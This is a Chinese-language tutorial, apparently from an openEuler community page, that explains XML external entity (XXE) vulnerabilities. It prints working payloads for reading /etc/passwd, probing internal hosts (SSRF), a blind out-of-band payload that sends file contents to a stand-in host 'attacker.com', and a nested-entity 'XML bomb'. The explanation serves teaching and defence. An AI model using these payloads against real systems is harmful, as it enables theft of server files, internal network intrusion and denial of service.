XML实体

        在XML中,实体以一种类似占位符的形式存在,可以定义一些内容并且在文档中重复使用

例如:

<!DOCTYPE foo [
  <!ENTITY myname "Ark">
]>
<user>&myname;</user>

        在这个文档中,&myname会被解析成Ark,这就叫做内部实体

        而外部实体则是用SYSTEM关键字指向一个外部资源

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

        如果解析器允许访问外部资源,则&xxe就会去读取本地文件file:///etc/passwd

漏洞成因

        许多XML解析库默认支持外部实体DTD(文档类型定义处理)。

        如果应用接收用户提交的XML数据,并在服务端使用默认配置的解析器解析,就会把攻击者定义的外部实体当做合法指令执行,从而产生漏洞

常见攻击场景

        读取本地敏感文件

        攻击载荷:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

        如果服务器解析这个XML后把<data>的内容(即文件内容)返回给客户端,攻击者就拿到了 /etc/passwd

        然而,实际中不一定直接回显,可通过错误消息、报错路径等方式带出数据。

        内网探测(SSRF)

        载荷:

<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/secret">

        通过外部实体访问内部系统URL,探测端口或者获取内网资源。

        如果解析器支持HTTP协议且不做限制,就能对内网发起请求,可能绕过防火墙。

        Blind XXE(无回显)

        很多时候服务器并不返回解析结果,但仍可能通过带外数据(OOB)把信息偷出来。

        例如将文件内容作为参数拼到攻击者控制的域名的 URL 里

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
  %eval;
  %exfil;
]>

        在支持参数实体的解析器里,这种组合可以在没有直接回显时,让服务器向攻击者的服务器发起请求,将文件内容编码在 URL 中带出。

        拒绝服务攻击

        通过嵌套实体指数级消耗内存,也叫“XML 炸弹”

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  ...
]>
<lolz>&lol9;</lolz>

        解析时实体被逐层展开,可能导致服务器资源耗尽

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐